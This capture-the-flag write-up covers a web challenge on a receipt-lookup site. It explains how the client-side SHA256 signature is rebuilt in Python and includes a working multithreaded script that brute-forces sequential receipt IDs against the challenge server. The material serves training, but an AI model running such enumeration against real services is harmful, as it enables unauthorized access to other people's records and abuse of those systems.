OFD
OFD
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: api_brute_force, client_side_signature_recreation, multithreaded_enumeration
Summary
Walkthrough of the CUSTOM Web OFD. Task: Brute force receipt codes on a fiscal data website where signature is generated client-side. Solution: Recreate SHA256 signature from JavaScript, enumerate sequential IDs with multithreading to
Description
Компания позволяет посмотреть информацию о чеках, кажется форма уязвима для брутфорса. Сможешь заавтоматизировать?
The "New Generation OFD" website (OFD = Fiscal Data Operator) has a form for checking receipts by code. The placeholder shows 27000000000 (11 digits).
Analysis
JavaScript Investigation
The page source code reveals the request formation logic:
- The form sends a POST request to
/receipt/{code} - Request body JSON:
{"signature": CryptoJS.SHA256(code).toString(CryptoJS.enc.Base64)} - Signature = SHA256 of the code, encoded in Base64
API Behavior
- Codes below
27000000000:{"error": "receipt_id too small"} - Codes above
99999999999: errors - Non-numeric codes:
{"error": "not a number"} - Invalid/missing signature:
{"error": "incorrect digest"}or{"error": "no signature in request"} - Valid codes: return a receipt from "GOOGLE.TAXI" (LLC GOOGLE.TAXI), always 1084 bytes
- All receipts contain INN: 77043341337, Shift N 133700 (leet-speak hints: 1337)
Solution
Step 1: Recreating the Signature
Since the signature algorithm is visible in client-side JavaScript, it's easy to reproduce:
python read-only • copy allowedimport hashlib, base64 sig = base64.b64encode(hashlib.sha256(code.encode()).digest()).decode()
Step 2: Multithreaded Brute Force
Wrote a script to enumerate receipt codes starting from 27000000000, looking for any response different from the standard GOOGLE.TAXI receipt (1084 bytes).
Step 3: Finding the Flag
At code 27000000174 (only 174 codes from the start of the range) the server returned:
json read-only • copy allowed{"flag": "spbctf{REDACTED}"}
python read-only • copy allowed#!/usr/bin/env python3 import hashlib, base64, json, requests from concurrent.futures import ThreadPoolExecutor, as_completed def check_receipt(code): code_str = str(code) sig = base64.b64encode(hashlib.sha256(code_str.encode()).digest()).decode() url = f'https://2019-10-27-ofd.ctf.su/receipt/{code_str}' data = {'signature': sig} r = requests.post(url, json=data, timeout=10) return code, r.text with ThreadPoolExecutor(max_workers=20) as executor: futures = {executor.submit(check_receipt, i): i for i in range(27000000000, 27000001000)} for f in as_completed(futures): code, resp = f.result() if 'GOOGLE.TAXI' not in resp or len(resp) != 1084: print(f'Found at {code}: {resp}')
Key Takeaways / Lessons
- Mastering api_brute_force, client_side_signature_recreation, multithreaded_enumeration was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2019-10-27 • CUSTOM • OFD • Difficulty: Easy